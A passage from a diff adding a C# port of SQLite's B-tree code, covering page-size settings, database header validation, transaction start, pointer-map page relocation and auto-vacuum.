<= 255 ); + sqlite3BtreeEnter( p ); + if ( pBt.pageSizeFixed ) + { + sqlite3BtreeLeave( p ); + return SQLITE_READONLY; + } + if ( nReserve < 0 ) + { + nReserve = (int)( pBt.pageSize - pBt.usableSize ); + } + Debug.Assert( nReserve >= 0 && nReserve <= 255 ); + if ( pageSize >= 512 && pageSize <= SQLITE_MAX_PAGE_SIZE && + ( ( pageSize - 1 ) & pageSize ) == 0 ) + { + Debug.Assert( ( pageSize & 7 ) == 0 ); + Debug.Assert( null == pBt.pPage1 && null == pBt.pCursor ); + pBt.pageSize = (u32)pageSize; + // freeTempSpace(pBt); + } + rc = sqlite3PagerSetPagesize( pBt.pPager, ref pBt.pageSize, nReserve ); + pBt.usableSize = (u16)( pBt.pageSize - nReserve ); + if ( iFix != 0 ) + pBt.pageSizeFixed = true; + sqlite3BtreeLeave( p ); + return rc; +} + +/* +** Return the currently defined page size +*/ +static int sqlite3BtreeGetPageSize( Btree p ) +{ + return (int)p.pBt.pageSize; +} + +#if !(SQLITE_OMIT_PAGER_PRAGMAS) || !(SQLITE_OMIT_VACUUM) +/* +** Return the number of bytes of space at the end of every page that +** are intentually left unused. This is the "reserved" space that is +** sometimes used by extensions. +*/ +static int sqlite3BtreeGetReserve( Btree p ) +{ + int n; + sqlite3BtreeEnter( p ); + n = (int)( p.pBt.pageSize - p.pBt.usableSize ); + sqlite3BtreeLeave( p ); + return n; +} + +/* +** Set the maximum page count for a database if mxPage is positive. +** No changes are made if mxPage is 0 or negative. +** Regardless of the value of mxPage, return the maximum page count. +*/ +static Pgno sqlite3BtreeMaxPageCount( Btree p, int mxPage ) +{ + Pgno n; + sqlite3BtreeEnter( p ); + n = sqlite3PagerMaxPageCount( p.pBt.pPager, mxPage ); + sqlite3BtreeLeave( p ); + return n; +} + +/* +** Set the secureDelete flag if newFlag is 0 or 1. If newFlag is -1, +** then make no changes. Always return the value of the secureDelete +** setting after the change. +*/ +static int sqlite3BtreeSecureDelete( Btree p, int newFlag ) +{ + int b; + if ( p == null ) + return 0; + sqlite3BtreeEnter( p ); + if ( newFlag >= 0 ) + { + p.pBt.secureDelete = ( newFlag != 0 ); + } + b = p.pBt.secureDelete ? 1 : 0; + sqlite3BtreeLeave( p ); + return b; +} +#endif //* !(SQLITE_OMIT_PAGER_PRAGMAS) || !(SQLITE_OMIT_VACUUM) */ + +/* +** Change the 'auto-vacuum' property of the database. If the 'autoVacuum' +** parameter is non-zero, then auto-vacuum mode is enabled. If zero, it +** is disabled. The default value for the auto-vacuum property is +** determined by the SQLITE_DEFAULT_AUTOVACUUM macro. +*/ +static int sqlite3BtreeSetAutoVacuum( Btree p, int autoVacuum ) +{ +#if SQLITE_OMIT_AUTOVACUUM +return SQLITE_READONLY; +#else + BtShared pBt = p.pBt; + int rc = SQLITE_OK; + u8 av = (u8)autoVacuum; + + sqlite3BtreeEnter( p ); + if ( pBt.pageSizeFixed && ( av != 0 ) != pBt.autoVacuum ) + { + rc = SQLITE_READONLY; + } + else + { + pBt.autoVacuum = av != 0; + pBt.incrVacuum = av == 2; + } + sqlite3BtreeLeave( p ); + return rc; +#endif +} + +/* +** Return the value of the 'auto-vacuum' property. If auto-vacuum is +** enabled 1 is returned. Otherwise 0. +*/ +static int sqlite3BtreeGetAutoVacuum( Btree p ) +{ +#if SQLITE_OMIT_AUTOVACUUM +return BTREE_AUTOVACUUM_NONE; +#else + int rc; + sqlite3BtreeEnter( p ); + rc = ( + ( !p.pBt.autoVacuum ) ? BTREE_AUTOVACUUM_NONE : + ( !p.pBt.incrVacuum ) ? BTREE_AUTOVACUUM_FULL : + BTREE_AUTOVACUUM_INCR + ); + sqlite3BtreeLeave( p ); + return rc; +#endif +} + + +/* +** Get a reference to pPage1 of the database file. This will +** also acquire a readlock on that file. +** +** SQLITE_OK is returned on success. If the file is not a +** well-formed database file, then SQLITE_CORRUPT is returned. +** SQLITE_BUSY is returned if the database is locked. SQLITE_NOMEM +** is returned if we run out of memory. +*/ +static int lockBtree( BtShared pBt ) +{ + int rc; /* Result code from subfunctions */ + MemPage pPage1 = null; /* Page 1 of the database file */ + Pgno nPage; /* Number of pages in the database */ + Pgno nPageFile = 0; /* Number of pages in the database file */ + Pgno nPageHeader; /* Number of pages in the database according to hdr */ + + Debug.Assert( sqlite3_mutex_held( pBt.mutex ) ); + Debug.Assert( pBt.pPage1 == null ); + rc = sqlite3PagerSharedLock( pBt.pPager ); + if ( rc != SQLITE_OK ) + return rc; + rc = btreeGetPage( pBt, 1, ref pPage1, 0 ); + if ( rc != SQLITE_OK ) + return rc; + + /* Do some checking to help insure the file we opened really is + ** a valid database file. + */ + nPage = nPageHeader = sqlite3Get4byte( pPage1.aData, 28 );//get4byte(28+(u8*)pPage1->aData); + sqlite3PagerPagecount( pBt.pPager, out nPageFile ); + if ( nPage == 0 || memcmp( pPage1.aData, 24, pPage1.aData, 92, 4 ) != 0 )//memcmp(24 + (u8*)pPage1.aData, 92 + (u8*)pPage1.aData, 4) != 0) + { + nPage = nPageFile; + } + if ( nPage > 0 ) + { + u32 pageSize; + u32 usableSize; + u8[] page1 = pPage1.aData; + rc = SQLITE_NOTADB; + if ( memcmp( page1, zMagicHeader, 16 ) != 0 ) + { + goto page1_init_failed; + } + +#if !NOT_SQLITE_OMIT_WAL //#if SQLITE_OMIT_WAL + if ( page1[18] > 1 ) + { + pBt.readOnly = true; + } + if ( page1[19] > 1 ) + { + pBt.pSchema.file_format = page1[19]; + goto page1_init_failed; + } +#else +if( page1[18]>2 ){ +pBt.readOnly = true; +} +if( page1[19]>2 ){ +goto page1_init_failed; +} + +/* If the write version is set to 2, this database should be accessed +** in WAL mode. If the log is not already open, open it now. Then +** return SQLITE_OK and return without populating BtShared.pPage1. +** The caller detects this and calls this function again. This is +** required as the version of page 1 currently in the page1 buffer +** may not be the latest version - there may be a newer one in the log +** file. +*/ +if( page1[19]==2 && pBt.doNotUseWAL==false ){ +int isOpen = 0; +rc = sqlite3PagerOpenWal(pBt.pPager, ref isOpen); +if( rc!=SQLITE_OK ){ +goto page1_init_failed; +}else if( isOpen==0 ){ +releasePage(pPage1); +return SQLITE_OK; +} +rc = SQLITE_NOTADB; +} +#endif + + /* The maximum embedded fraction must be exactly 25%. And the minimum +** embedded fraction must be 12.5% for both leaf-data and non-leaf-data. +** The original design allowed these amounts to vary, but as of +** version 3.6.0, we require them to be fixed. +*/ + if ( memcmp( page1, 21, "\x0040\x0020\x0020", 3 ) != 0 )// "\100\040\040" + { + goto page1_init_failed; + } + pageSize = (u32)( ( page1[16] << 8 ) | ( page1[17] << 16 ) ); + if ( ( ( pageSize - 1 ) & pageSize ) != 0 + || pageSize > SQLITE_MAX_PAGE_SIZE + || pageSize <= 256 + ) + { + goto page1_init_failed; + } + Debug.Assert( ( pageSize & 7 ) == 0 ); + usableSize = pageSize - page1[20]; + if ( pageSize != pBt.pageSize ) + { + /* After reading the first page of the database assuming a page size + ** of BtShared.pageSize, we have discovered that the page-size is + ** actually pageSize. Unlock the database, leave pBt.pPage1 at + ** zero and return SQLITE_OK. The caller will call this function + ** again with the correct page-size. + */ + releasePage( pPage1 ); + pBt.usableSize = usableSize; + pBt.pageSize = pageSize; + // freeTempSpace(pBt); + rc = sqlite3PagerSetPagesize( pBt.pPager, ref pBt.pageSize, + (int)( pageSize - usableSize ) ); + return rc; + } + if ( ( pBt.db.flags & SQLITE_RecoveryMode ) == 0 && nPage > nPageFile ) + { + rc = SQLITE_CORRUPT_BKPT(); + goto page1_init_failed; + } + if ( usableSize < 480 ) + { + goto page1_init_failed; + } + pBt.pageSize = pageSize; + pBt.usableSize = usableSize; +#if !SQLITE_OMIT_AUTOVACUUM + pBt.autoVacuum = ( sqlite3Get4byte( page1, 36 + 4 * 4 ) != 0 ); + pBt.incrVacuum = ( sqlite3Get4byte( page1, 36 + 7 * 4 ) != 0 ); +#endif + } + + /* maxLocal is the maximum amount of payload to store locally for + ** a cell. Make sure it is small enough so that at least minFanout + ** cells can will fit on one page. We assume a 10-byte page header. + ** Besides the payload, the cell must store: + ** 2-byte pointer to the cell + ** 4-byte child pointer + ** 9-byte nKey value + ** 4-byte nData value + ** 4-byte overflow page pointer + ** So a cell consists of a 2-byte pointer, a header which is as much as + ** 17 bytes long, 0 to N bytes of payload, and an optional 4 byte overflow + ** page pointer. + */ + pBt.maxLocal = (u16)( ( pBt.usableSize - 12 ) * 64 / 255 - 23 ); + pBt.minLocal = (u16)( ( pBt.usableSize - 12 ) * 32 / 255 - 23 ); + pBt.maxLeaf = (u16)( pBt.usableSize - 35 ); + pBt.minLeaf = (u16)( ( pBt.usableSize - 12 ) * 32 / 255 - 23 ); + Debug.Assert( pBt.maxLeaf + 23 <= MX_CELL_SIZE( pBt ) ); + pBt.pPage1 = pPage1; + pBt.nPage = nPage; + return SQLITE_OK; + +page1_init_failed: + releasePage( pPage1 ); + pBt.pPage1 = null; + return rc; +} + +/* +** If there are no outstanding cursors and we are not in the middle +** of a transaction but there is a read lock on the database, then +** this routine unrefs the first page of the database file which +** has the effect of releasing the read lock. +** +** If there is a transaction in progress, this routine is a no-op. +*/ +static void unlockBtreeIfUnused( BtShared pBt ) +{ + Debug.Assert( sqlite3_mutex_held( pBt.mutex ) ); + Debug.Assert( pBt.pCursor == null || pBt.inTransaction > TRANS_NONE ); + if ( pBt.inTransaction == TRANS_NONE && pBt.pPage1 != null ) + { + Debug.Assert( pBt.pPage1.aData != null ); + //Debug.Assert( sqlite3PagerRefcount( pBt.pPager ) == 1 ); + releasePage( pBt.pPage1 ); + pBt.pPage1 = null; + } +} + +/* +** If pBt points to an empty file then convert that empty file +** into a new empty database by initializing the first page of +** the database. +*/ +static int newDatabase( BtShared pBt ) +{ + MemPage pP1; + byte[] data; + int rc; + + Debug.Assert( sqlite3_mutex_held( pBt.mutex ) ); + if ( pBt.nPage > 0 ) + { + return SQLITE_OK; + } + pP1 = pBt.pPage1; + Debug.Assert( pP1 != null ); + data = pP1.aData; + rc = sqlite3PagerWrite( pP1.pDbPage ); + if ( rc != 0 ) + return rc; + Buffer.BlockCopy( zMagicHeader, 0, data, 0, 16 );// memcpy(data, zMagicHeader, sizeof(zMagicHeader)); + Debug.Assert( zMagicHeader.Length == 16 ); + data[16] = (u8)( ( pBt.pageSize >> 8 ) & 0xff ); + data[17] = (u8)( ( pBt.pageSize >> 16 ) & 0xff ); + data[18] = 1; + data[19] = 1; + Debug.Assert( pBt.usableSize <= pBt.pageSize && pBt.usableSize + 255 >= pBt.pageSize ); + data[20] = (u8)( pBt.pageSize - pBt.usableSize ); + data[21] = 64; + data[22] = 32; + data[23] = 32; + //memset(&data[24], 0, 100-24); + zeroPage( pP1, PTF_INTKEY | PTF_LEAF | PTF_LEAFDATA ); + pBt.pageSizeFixed = true; +#if !SQLITE_OMIT_AUTOVACUUM + Debug.Assert( pBt.autoVacuum == true || pBt.autoVacuum == false ); + Debug.Assert( pBt.incrVacuum == true || pBt.incrVacuum == false ); + sqlite3Put4byte( data, 36 + 4 * 4, pBt.autoVacuum ? 1 : 0 ); + sqlite3Put4byte( data, 36 + 7 * 4, pBt.incrVacuum ? 1 : 0 ); +#endif + pBt.nPage = 1; + data[31] = 1; + return SQLITE_OK; +} + +/* +** Attempt to start a new transaction. A write-transaction +** is started if the second argument is nonzero, otherwise a read- +** transaction. If the second argument is 2 or more and exclusive +** transaction is started, meaning that no other process is allowed +** to access the database. A preexisting transaction may not be +** upgraded to exclusive by calling this routine a second time - the +** exclusivity flag only works for a new transaction. +** +** A write-transaction must be started before attempting any +** changes to the database. None of the following routines +** will work unless a transaction is started first: +** +** sqlite3BtreeCreateTable() +** sqlite3BtreeCreateIndex() +** sqlite3BtreeClearTable() +** sqlite3BtreeDropTable() +** sqlite3BtreeInsert() +** sqlite3BtreeDelete() +** sqlite3BtreeUpdateMeta() +** +** If an initial attempt to acquire the lock fails because of lock contention +** and the database was previously unlocked, then invoke the busy handler +** if there is one. But if there was previously a read-lock, do not +** invoke the busy handler - just return SQLITE_BUSY. SQLITE_BUSY is +** returned when there is already a read-lock in order to avoid a deadlock. +** +** Suppose there are two processes A and B. A has a read lock and B has +** a reserved lock. B tries to promote to exclusive but is blocked because +** of A's read lock. A tries to promote to reserved but is blocked by B. +** One or the other of the two processes must give way or there can be +** no progress. By returning SQLITE_BUSY and not invoking the busy callback +** when A already has a read lock, we encourage A to give up and let B +** proceed. +*/ +static int sqlite3BtreeBeginTrans( Btree p, int wrflag ) +{ + BtShared pBt = p.pBt; + int rc = SQLITE_OK; + + sqlite3BtreeEnter( p ); + btreeIntegrity( p ); + + /* If the btree is already in a write-transaction, or it + ** is already in a read-transaction and a read-transaction + ** is requested, this is a no-op. + */ + if ( p.inTrans == TRANS_WRITE || ( p.inTrans == TRANS_READ && 0 == wrflag ) ) + { + goto trans_begun; + } + + /* Write transactions are not possible on a read-only database */ + if ( pBt.readOnly && wrflag != 0 ) + { + rc = SQLITE_READONLY; + goto trans_begun; + } + +#if NO_SQLITE_OMIT_SHARED_CACHE //#if !SQLITE_OMIT_SHARED_CACHE +/* If another database handle has already opened a write transaction +** on this shared-btree structure and a second write transaction is +** requested, return SQLITE_LOCKED. +*/ +if( (wrflag && pBt.inTransaction==TRANS_WRITE) || pBt.isPending ){ +sqlite3 pBlock = pBt.pWriter.db; +}else if( wrflag>1 ){ +BtLock pIter; +for(pIter=pBt.pLock; pIter; pIter=pIter.pNext){ +if( pIter.pBtree!=p ){ +pBlock = pIter.pBtree.db; +break; +} +} +} +if( pBlock ){ +sqlite3ConnectionBlocked(p.db, pBlock); +rc = SQLITE_LOCKED_SHAREDCACHE; +goto trans_begun; +} +#endif + + /* Any read-only or read-write transaction implies a read-lock on +** page 1. So if some other shared-cache client already has a write-lock +** on page 1, the transaction cannot be opened. */ + rc = querySharedCacheTableLock( p, MASTER_ROOT, READ_LOCK ); + if ( SQLITE_OK != rc ) + goto trans_begun; + + pBt.initiallyEmpty = pBt.nPage == 0; + do + { + /* Call lockBtree() until either pBt.pPage1 is populated or + ** lockBtree() returns something other than SQLITE_OK. lockBtree() + ** may return SQLITE_OK but leave pBt.pPage1 set to 0 if after + ** reading page 1 it discovers that the page-size of the database + ** file is not pBt.pageSize. In this case lockBtree() will update + ** pBt.pageSize to the page-size of the file on disk. + */ + while ( pBt.pPage1 == null && SQLITE_OK == ( rc = lockBtree( pBt ) ) ) + ; + + if ( rc == SQLITE_OK && wrflag != 0 ) + { + if ( pBt.readOnly ) + { + rc = SQLITE_READONLY; + } + else + { + rc = sqlite3PagerBegin( pBt.pPager, wrflag > 1, sqlite3TempInMemory( p.db ) ? 1 : 0 ); + if ( rc == SQLITE_OK ) + { + rc = newDatabase( pBt ); + } + } + } + + if ( rc != SQLITE_OK ) + { + unlockBtreeIfUnused( pBt ); + } + } while ( ( rc & 0xFF ) == SQLITE_BUSY && pBt.inTransaction == TRANS_NONE && + btreeInvokeBusyHandler( pBt ) != 0 ); + + if ( rc == SQLITE_OK ) + { + if ( p.inTrans == TRANS_NONE ) + { + pBt.nTransaction++; +#if NO_SQLITE_OMIT_SHARED_CACHE //#if !SQLITE_OMIT_SHARED_CACHE +if( p.sharable ){ +Debug.Assert( p.lock.pBtree==p && p.lock.iTable==1 ); +p.lock.eLock = READ_LOCK; +p.lock.pNext = pBt.pLock; +pBt.pLock = &p.lock; +} +#endif + } + p.inTrans = ( wrflag != 0 ? TRANS_WRITE : TRANS_READ ); + if ( p.inTrans > pBt.inTransaction ) + { + pBt.inTransaction = p.inTrans; + } + if ( wrflag != 0 ) + { + MemPage pPage1 = pBt.pPage1; +#if NO_SQLITE_OMIT_SHARED_CACHE //#if !SQLITE_OMIT_SHARED_CACHE +Debug.Assert( !pBt.pWriter ); +pBt.pWriter = p; +pBt.isExclusive = (u8)(wrflag>1); +#endif + /* If the db-size header field is incorrect (as it may be if an old +** client has been writing the database file), update it now. Doing +** this sooner rather than later means the database size can safely +** re-read the database size from page 1 if a savepoint or transaction +** rollback occurs within the transaction. +*/ + if ( pBt.nPage != sqlite3Get4byte( pPage1.aData, 28 ) ) + { + rc = sqlite3PagerWrite( pPage1.pDbPage ); + if ( rc == SQLITE_OK ) + { + sqlite3Put4byte( pPage1.aData, (u32)28, pBt.nPage ); + } + } + } + } + + +trans_begun: + if ( rc == SQLITE_OK && wrflag != 0 ) + { + /* This call makes sure that the pager has the correct number of + ** open savepoints. If the second parameter is greater than 0 and + ** the sub-journal is not already open, then it will be opened here. + */ + rc = sqlite3PagerOpenSavepoint( pBt.pPager, p.db.nSavepoint ); + } + + btreeIntegrity( p ); + sqlite3BtreeLeave( p ); + return rc; +} + +#if !SQLITE_OMIT_AUTOVACUUM + +/* +** Set the pointer-map entries for all children of page pPage. Also, if +** pPage contains cells that point to overflow pages, set the pointer +** map entries for the overflow pages as well. +*/ +static int setChildPtrmaps( MemPage pPage ) +{ + int i; /* Counter variable */ + int nCell; /* Number of cells in page pPage */ + int rc; /* Return code */ + BtShared pBt = pPage.pBt; + u8 isInitOrig = pPage.isInit; + Pgno pgno = pPage.pgno; + + Debug.Assert( sqlite3_mutex_held( pPage.pBt.mutex ) ); + rc = btreeInitPage( pPage ); + if ( rc != SQLITE_OK ) + { + goto set_child_ptrmaps_out; + } + nCell = pPage.nCell; + + for ( i = 0; i < nCell; i++ ) + { + int pCell = findCell( pPage, i ); + + ptrmapPutOvflPtr( pPage, pCell, ref rc ); + + if ( 0 == pPage.leaf ) + { + Pgno childPgno = sqlite3Get4byte( pPage.aData, pCell ); + ptrmapPut( pBt, childPgno, PTRMAP_BTREE, pgno, ref rc ); + } + } + + if ( 0 == pPage.leaf ) + { + Pgno childPgno = sqlite3Get4byte( pPage.aData, pPage.hdrOffset + 8 ); + ptrmapPut( pBt, childPgno, PTRMAP_BTREE, pgno, ref rc ); + } + +set_child_ptrmaps_out: + pPage.isInit = isInitOrig; + return rc; +} + +/* +** Somewhere on pPage is a pointer to page iFrom. Modify this pointer so +** that it points to iTo. Parameter eType describes the type of pointer to +** be modified, as follows: +** +** PTRMAP_BTREE: pPage is a btree-page. The pointer points at a child +** page of pPage. +** +** PTRMAP_OVERFLOW1: pPage is a btree-page. The pointer points at an overflow +** page pointed to by one of the cells on pPage. +** +** PTRMAP_OVERFLOW2: pPage is an overflow-page. The pointer points at the next +** overflow page in the list. +*/ +static int modifyPagePointer( MemPage pPage, Pgno iFrom, Pgno iTo, u8 eType ) +{ + Debug.Assert( sqlite3_mutex_held( pPage.pBt.mutex ) ); + Debug.Assert( sqlite3PagerIswriteable( pPage.pDbPage ) ); + if ( eType == PTRMAP_OVERFLOW2 ) + { + /* The pointer is always the first 4 bytes of the page in this case. */ + if ( sqlite3Get4byte( pPage.aData ) != iFrom ) + { + return SQLITE_CORRUPT_BKPT(); + } + sqlite3Put4byte( pPage.aData, iTo ); + } + else + { + u8 isInitOrig = pPage.isInit; + int i; + int nCell; + + btreeInitPage( pPage ); + nCell = pPage.nCell; + + for ( i = 0; i < nCell; i++ ) + { + int pCell = findCell( pPage, i ); + if ( eType == PTRMAP_OVERFLOW1 ) + { + CellInfo info = new CellInfo(); + btreeParseCellPtr( pPage, pCell, ref info ); + if ( info.iOverflow != 0 ) + { + if ( iFrom == sqlite3Get4byte( pPage.aData, pCell, info.iOverflow ) ) + { + sqlite3Put4byte( pPage.aData, pCell + info.iOverflow, (int)iTo ); + break; + } + } + } + else + { + if ( sqlite3Get4byte( pPage.aData, pCell ) == iFrom ) + { + sqlite3Put4byte( pPage.aData, pCell, (int)iTo ); + break; + } + } + } + + if ( i == nCell ) + { + if ( eType != PTRMAP_BTREE || + sqlite3Get4byte( pPage.aData, pPage.hdrOffset + 8 ) != iFrom ) + { + return SQLITE_CORRUPT_BKPT(); + } + sqlite3Put4byte( pPage.aData, pPage.hdrOffset + 8, iTo ); + } + + pPage.isInit = isInitOrig; + } + return SQLITE_OK; +} + + +/* +** Move the open database page pDbPage to location iFreePage in the +** database. The pDbPage reference remains valid. +** +** The isCommit flag indicates that there is no need to remember that +** the journal needs to be sync()ed before database page pDbPage.pgno +** can be written to. The caller has already promised not to write to that +** page. +*/ +static int relocatePage( +BtShared pBt, /* Btree */ +MemPage pDbPage, /* Open page to move */ +u8 eType, /* Pointer map 'type' entry for pDbPage */ +Pgno iPtrPage, /* Pointer map 'page-no' entry for pDbPage */ +Pgno iFreePage, /* The location to move pDbPage to */ +int isCommit /* isCommit flag passed to sqlite3PagerMovepage */ +) +{ + MemPage pPtrPage = new MemPage(); /* The page that contains a pointer to pDbPage */ + Pgno iDbPage = pDbPage.pgno; + Pager pPager = pBt.pPager; + int rc; + + Debug.Assert( eType == PTRMAP_OVERFLOW2 || eType == PTRMAP_OVERFLOW1 || + eType == PTRMAP_BTREE || eType == PTRMAP_ROOTPAGE ); + Debug.Assert( sqlite3_mutex_held( pBt.mutex ) ); + Debug.Assert( pDbPage.pBt == pBt ); + + /* Move page iDbPage from its current location to page number iFreePage */ + TRACE( "AUTOVACUUM: Moving %d to free page %d (ptr page %d type %d)\n", + iDbPage, iFreePage, iPtrPage, eType ); + rc = sqlite3PagerMovepage( pPager, pDbPage.pDbPage, iFreePage, isCommit ); + if ( rc != SQLITE_OK ) + { + return rc; + } + pDbPage.pgno = iFreePage; + + /* If pDbPage was a btree-page, then it may have child pages and/or cells + ** that point to overflow pages. The pointer map entries for all these + ** pages need to be changed. + ** + ** If pDbPage is an overflow page, then the first 4 bytes may store a + ** pointer to a subsequent overflow page. If this is the case, then + ** the pointer map needs to be updated for the subsequent overflow page. + */ + if ( eType == PTRMAP_BTREE || eType == PTRMAP_ROOTPAGE ) + { + rc = setChildPtrmaps( pDbPage ); + if ( rc != SQLITE_OK ) + { + return rc; + } + } + else + { + Pgno nextOvfl = sqlite3Get4byte( pDbPage.aData ); + if ( nextOvfl != 0 ) + { + ptrmapPut( pBt, nextOvfl, PTRMAP_OVERFLOW2, iFreePage, ref rc ); + if ( rc != SQLITE_OK ) + { + return rc; + } + } + } + + /* Fix the database pointer on page iPtrPage that pointed at iDbPage so + ** that it points at iFreePage. Also fix the pointer map entry for + ** iPtrPage. + */ + if ( eType != PTRMAP_ROOTPAGE ) + { + rc = btreeGetPage( pBt, iPtrPage, ref pPtrPage, 0 ); + if ( rc != SQLITE_OK ) + { + return rc; + } + rc = sqlite3PagerWrite( pPtrPage.pDbPage ); + if ( rc != SQLITE_OK ) + { + releasePage( pPtrPage ); + return rc; + } + rc = modifyPagePointer( pPtrPage, iDbPage, iFreePage, eType ); + releasePage( pPtrPage ); + if ( rc == SQLITE_OK ) + { + ptrmapPut( pBt, iFreePage, eType, iPtrPage, ref rc ); + } + } + return rc; +} + +/* Forward declaration required by incrVacuumStep(). */ +//static int allocateBtreePage(BtShared *, MemPage **, Pgno *, Pgno, u8); + +/* +** Perform a single step of an incremental-vacuum. If successful, +** return SQLITE_OK. If there is no work to do (and therefore no +** point in calling this function again), return SQLITE_DONE. +** +** More specificly, this function attempts to re-organize the +** database so that the last page of the file currently in use +** is no longer in use. +** +** If the nFin parameter is non-zero, this function assumes +** that the caller will keep calling incrVacuumStep() until +** it returns SQLITE_DONE or an error, and that nFin is the +** number of pages the database file will contain after this +** process is complete. If nFin is zero, it is assumed that +** incrVacuumStep() will be called a finite amount of times +** which may or may not empty the freelist. A full autovacuum +** has nFin>0. A "PRAGMA incremental_vacuum" has nFin==null. +*/ +static int incrVacuumStep( BtShared pBt, Pgno nFin, Pgno iLastPg ) +{ + Pgno nFreeList; /* Number of pages still on the free-list */ + int rc; + + Debug.Assert( sqlite3_mutex_held( pBt.mutex ) ); + Debug.Assert( iLastPg > nFin ); + + if ( !PTRMAP_ISPAGE( pBt, iLastPg ) && iLastPg != PENDING_BYTE_PAGE( pBt ) ) + { + u8 eType = 0; + Pgno iPtrPage = 0; + + nFreeList = sqlite3Get4byte( pBt.pPage1.aData, 36 ); + if ( nFreeList == 0 ) + { + return SQLITE_DONE; + } + + rc = ptrmapGet( pBt, iLastPg, ref eType, ref iPtrPage ); + if ( rc != SQLITE_OK ) + { + return rc; + } + if ( eType == PTRMAP_ROOTPAGE ) + { + return SQLITE_CORRUPT_BKPT(); + } + + if ( eType == PTRMAP_FREEPAGE ) + { + if ( nFin == 0 ) + { + /* Remove the page from the files free-list. This is not required + ** if nFin is non-zero. In that case, the free-list will be + ** truncated to zero after this function returns, so it doesn't + ** matter if it still contains some garbage entries. + */ + Pgno iFreePg = 0; + MemPage pFreePg = new MemPage(); + rc = allocateBtreePage( pBt, ref pFreePg, ref iFreePg, iLastPg, 1 ); + if ( rc != SQLITE_OK ) + { + return rc; + } + Debug.Assert( iFreePg == iLastPg ); + releasePage( pFreePg ); + } + } + else + { + Pgno iFreePg = 0; /* Index of free page to move pLastPg to */ + MemPage pLastPg = new MemPage(); + + rc = btreeGetPage( pBt, iLastPg, ref pLastPg, 0 ); + if ( rc != SQLITE_OK ) + { + return rc; + } + + /* If nFin is zero, this loop runs exactly once and page pLastPg + ** is swapped with the first free page pulled off the free list. + ** + ** On the other hand, if nFin is greater than zero, then keep + ** looping until a free-page located within the first nFin pages + ** of the file is found. + */ + do + { + MemPage pFreePg = new MemPage(); + rc = allocateBtreePage( pBt, ref pFreePg, ref iFreePg, 0, 0 ); + if ( rc != SQLITE_OK ) + { + releasePage( pLastPg ); + return rc; + } + releasePage( pFreePg ); + } while ( nFin != 0 && iFreePg > nFin ); + Debug.Assert( iFreePg < iLastPg ); + + rc = sqlite3PagerWrite( pLastPg.pDbPage ); + if ( rc == SQLITE_OK ) + { + rc = relocatePage( pBt, pLastPg, eType, iPtrPage, iFreePg, ( nFin != 0 ) ? 1 : 0 ); + } + releasePage( pLastPg ); + if ( rc != SQLITE_OK ) + { + return rc; + } + } + } + + if ( nFin == 0 ) + { + iLastPg--; + while ( iLastPg == PENDING_BYTE_PAGE( pBt ) || PTRMAP_ISPAGE( pBt, iLastPg ) ) + { + if ( PTRMAP_ISPAGE( pBt, iLastPg ) ) + { + MemPage pPg = new MemPage(); + rc = btreeGetPage( pBt, iLastPg, ref pPg, 0 ); + if ( rc != SQLITE_OK ) + { + return rc; + } + rc = sqlite3PagerWrite( pPg.pDbPage ); + releasePage( pPg ); + if ( rc != SQLITE_OK ) + { + return rc; + } + } + iLastPg--; + } + sqlite3PagerTruncateImage( pBt.pPager, iLastPg ); + pBt.nPage = iLastPg; + } + return SQLITE_OK; +} + +/* +** A write-transaction must be opened before calling this function. +** It performs a single unit of work towards an incremental vacuum. +** +** If the incremental vacuum is finished after this function has run, +** SQLITE_DONE is returned. If it is not finished, but no error occurred, +** SQLITE_OK is returned. Otherwise an SQLite error code. +*/ +static int sqlite3BtreeIncrVacuum( Btree p ) +{ + int rc; + BtShared pBt = p.pBt; + + sqlite3BtreeEnter( p ); + Debug.Assert( pBt.inTransaction == TRANS_WRITE && p.inTrans == TRANS_WRITE ); + if ( !pBt.autoVacuum ) + { + rc = SQLITE_DONE; + } + else + { + invalidateAllOverflowCache( pBt ); + rc = incrVacuumStep( pBt, 0, btreePagecount( pBt ) ); + if ( rc == SQLITE_OK ) + { + rc = sqlite3PagerWrite( pBt.pPage1.pDbPage ); + sqlite3Put4byte( pBt.pPage1.aData, (u32)28, pBt.nPage );//put4byte(&pBt->pPage1->aData[28], pBt->nPage); + } + } + sqlite3BtreeLeave( p ); + return rc; +} + +/* +** This routine is called prior to sqlite3PagerCommit when a transaction +** is commited for an auto-vacuum database. +** +** If SQLITE_OK is returned, then pnTrunc is set to the number of pages +** the database file should be truncated to during the commit process. +** i.e. the database has been reorganized so that only the first pnTrunc +** pages are in use. +*/ +static int autoVacuumCommit( BtShared pBt ) +{ + int rc = SQLITE_OK; + Pager pPager = pBt.pPager; + // VVA_ONLY( int nRef = sqlite3PagerRefcount(pPager) ); +#if !NDEBUG || DEBUG + int nRef = sqlite3PagerRefcount( pPager ); +#else +int nRef=0; +#endif + + + Debug.Assert( sqlite3_mutex_held( pBt.mutex ) ); + invalidateAllOverflowCache( pBt ); + Debug.Assert( pBt.autoVacuum ); + if ( !pBt.incrVacuum ) + { + Pgno nFin; /* Number of pages in database after autovacuuming */ + Pgno nFree; /* Number of pages on the freelist initially */ + Pgno nPtrmap; /* Number of PtrMap pages to be freed */ + Pgno iFree; /* The next page to be freed */ + int nEntry; /* Number of entries on one ptrmap page */ + Pgno nOrig; /* Database size before freeing */ + + nOrig = btreePagecount( pBt ); + if ( PTRMAP_ISPAGE( pBt, nOrig ) || nOrig == PENDING_BYTE_PAGE( pBt ) ) + { + /* It is not possible to create a database for which the final page + ** is either a pointer-map page or the pending-byte page. If one + ** is encountered, this indicates corruption. + */ + return SQLITE_CORRUPT_BKPT(); + } + + nFree = sqlite3Get4byte( pBt.pPage1.aData, 36 ); + nEntry = (int)pBt.usableSize / 5; + nPtrmap = (Pgno)( ( nFree - nOrig + PTRMAP_PAGENO( pBt, nOrig ) + (Pgno)nEntry ) / nEntry ); + nFin = nOrig - nFree - nPtrmap; + if ( nOrig > PENDING_BYTE_PAGE( pBt ) && nFin < PENDING_BYTE_PAGE( pBt ) ) + { + nFin--; + } + while ( PTRMAP_ISPAGE( pBt, nFin ) || nFin == PENDING_BYTE_PAGE( pBt ) ) + { + nFin--; + } + if ( nFin > nOrig ) + return SQLITE_CORRUPT_BKPT(); + + for ( iFree = nOrig; iFree > nFin && rc == SQLITE_OK; iFree-- ) + { + rc = incrVacuumStep( pBt, nFin, iFree ); + } + if ( ( rc == SQLITE_DONE || rc == SQLITE_OK ) && nFree > 0 ) + { + rc = sqlite3PagerWrite( pBt.pPage1.pDbPage ); + sqlite3Put4byte( pBt.pPage1.aData, 32, 0 ); + sqlite3Put4byte( pBt.pPage1.aData, 36, 0 